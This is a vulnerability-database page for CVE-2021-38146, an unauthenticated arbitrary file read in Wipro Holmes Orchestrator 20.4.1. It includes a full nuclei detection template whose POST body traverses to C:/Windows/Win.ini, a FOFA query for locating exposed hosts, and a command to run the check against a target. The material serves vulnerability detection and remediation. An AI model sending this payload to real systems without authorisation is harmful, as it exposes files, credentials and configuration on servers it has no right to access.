HexBrain

Browse / CVEs / CVE-2021-38146

CVE-2021-38146· wipro / holmes· CWE-22

Wipro Holmes Orchestrator 20.4.1 - Arbitrary File Download

highseverity
7.5CVSS score
11.9%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

The File Download API in Wipro Holmes Orchestrator 20.4.1 (20.4.1_02_11_2020) allows remote attackers to read arbitrary files via absolute path traversal in the SearchString JSON field in /home/download POST data.

Impact

Unauthenticated attackers can read arbitrary files from the server via path traversal in the SearchString parameter, potentially exposing sensitive configuration files, credentials, and proprietary data.

Fix

Fixed In v21.4.0

How to confirm it

Send: POST {{BaseURL}}/home/download
Positive when: contains "[fonts]" and "[extensions]" and "[files]" AND status 200

Run it with nuclei: nuclei -id CVE-2021-38146 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-38146

info:
  name: Wipro Holmes Orchestrator 20.4.1 - Arbitrary File Download
  author: s4e-io
  severity: high
  description: |
    The File Download API in Wipro Holmes Orchestrator 20.4.1 (20.4.1_02_11_2020) allows remote attackers to read arbitrary files via absolute path traversal in the SearchString JSON field in /home/download POST data.
  impact: |
    Unauthenticated attackers can read arbitrary files from the server via path traversal in the SearchString parameter, potentially exposing sensitive configuration files, credentials, and proprietary data.
  remediation: Fixed In v21.4.0
  reference:
    - https://packetstormsecurity.com/files/164970/Wipro-Holmes-Orchestrator-20.4.1-Arbitrary-File-Download.html
    - https://flippingbitz.com/post/wipro-ho-2041-cve/
    - https://www.wipro.com/holmes/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-38146
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-38146
    cwe-id: CWE-22
    epss-score: 0.11914
    epss-percentile: 0.96143
    cpe: cpe:2.3:a:wipro:holmes:20.4.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: wipro
    product: holmes
    fofa-query: title="Wipro Holmes Orchestrator"
  tags: cve,cve2021,wipro,holmes,lfi,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/home/download"

    headers:
      Content-Type: application/json

    body: |
      {
        "SearchString": "C:/Windows/Win.ini",
        "Msg": ""
      }

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "[fonts]"
          - "[extensions]"
          - "[files]"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from